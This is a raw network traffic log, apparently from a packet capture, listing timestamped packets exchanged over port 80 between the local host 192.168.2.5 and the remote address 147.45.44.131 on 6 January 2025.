Jan 6, 2025 07:59:03.821487904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821497917 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821507931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821513891 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821521044 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821531057 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821541071 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821553946 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821553946 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821567059 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821577072 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821594954 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821619987 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821635008 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821646929 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821651936 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821659088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821671009 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821679115 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821697950 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821732998 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821743011 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821754932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821764946 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821778059 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821788073 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821794987 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821798086 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821809053 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821820021 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821830988 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821841955 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821847916 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821866989 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821886063 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821917057 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821928024 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821939945 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821950912 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821960926 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821960926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821979046 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821989059 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822012901 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822020054 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822030067 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822041988 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822052956 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822058916 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822063923 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822074890 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822086096 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822092056 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822115898 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822350979 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822370052 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822380066 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822390079 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822391033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822412968 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822415113 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822429895 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822439909 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822447062 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822451115 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822462082 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822472095 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822479963 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822490931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822499990 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822504044 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822515965 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822530031 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822530985 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822540998 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822549105 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822554111 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822572947 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822572947 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822587013 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822603941 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822607994 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822614908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822626114 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822639942 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822642088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822653055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822663069 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822664976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822676897 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822685957 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822689056 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822700024 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822710991 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822710991 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822725058 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822736025 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822736979 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822756052 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822757006 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822767973 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822777987 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822789907 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822789907 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822802067 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822809935 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822813988 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822825909 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822835922 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822838068 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822849035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822860956 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.822863102 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.822880030 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.865573883 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.865587950 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.865597963 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.865608931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.865619898 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.865631104 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.865642071 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.865650892 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.865653992 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.865708113 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.911633968 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911655903 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911669016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911680937 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911689997 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.911694050 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911703110 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911712885 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911731958 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.911758900 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.911782980 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911819935 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.911845922 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911858082 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911870956 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911883116 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911900997 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.911917925 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911921978 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.911927938 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911941051 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911957979 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911968946 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911978960 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.911992073 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912009954 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912019014 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912024021 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912030935 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912054062 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912106037 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912116051 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912127972 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912142992 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912147045 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912158012 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912161112 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912168980 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912179947 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912195921 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912201881 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912206888 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912210941 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912211895 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912216902 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912221909 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912256002 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912269115 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912286043 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912296057 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912306070 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912318945 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912322998 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912329912 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912355900 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912360907 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912365913 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912370920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912377119 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912425995 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912427902 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912439108 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912456036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912467957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912472963 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912478924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912487984 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912496090 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912497997 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912509918 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912523031 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912537098 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912554979 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912559032 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912570953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912580013 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912587881 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912595987 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912615061 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912616014 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912626028 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912635088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912646055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912657976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912662029 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912663937 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912668943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912681103 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912715912 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912739038 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912749052 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912759066 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912770987 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912781000 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912815094 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912898064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912903070 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912904978 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912909031 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912919998 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.912936926 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.912961960 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913053989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913064957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913074017 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913084984 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913089991 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913100004 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913120031 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913124084 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913136005 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913145065 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913145065 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913157940 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913175106 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913184881 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913189888 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913194895 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913206100 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913213015 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913218021 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913228035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913239956 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913244963 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913249969 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913255930 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913265944 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913275957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913280964 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913299084 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913317919 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913328886 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913337946 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913348913 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913360119 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913368940 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913369894 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913387060 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913397074 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913397074 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913407087 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913419008 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913430929 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913441896 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913443089 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913460970 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913511038 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913521051 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913531065 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913542986 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913552999 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913553953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913564920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913568974 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913574934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913589001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913599014 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913600922 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.913621902 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.913642883 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.956209898 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.956222057 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.956233978 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.956243992 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.956254959 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.956259966 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.956265926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.956281900 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.956305981 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.002204895 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002228975 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002238989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002259970 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002269983 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002279997 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002290010 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002301931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002317905 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.002377033 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.002669096 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002706051 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.002737999 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002748966 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002759933 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002769947 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002782106 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002798080 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.002820969 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.002857924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002866983 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002876043 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002887011 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002892017 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.002897024 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002907991 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002917051 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002921104 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.002927065 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002937078 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002952099 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.002954006 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002964020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002969980 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.002973080 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002980947 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.002991915 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003001928 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003009081 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003014088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003025055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003036022 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003042936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003053904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.003072977 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003098965 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.003101110 CET	80	49706	147.45.44.131	192.168.2.5
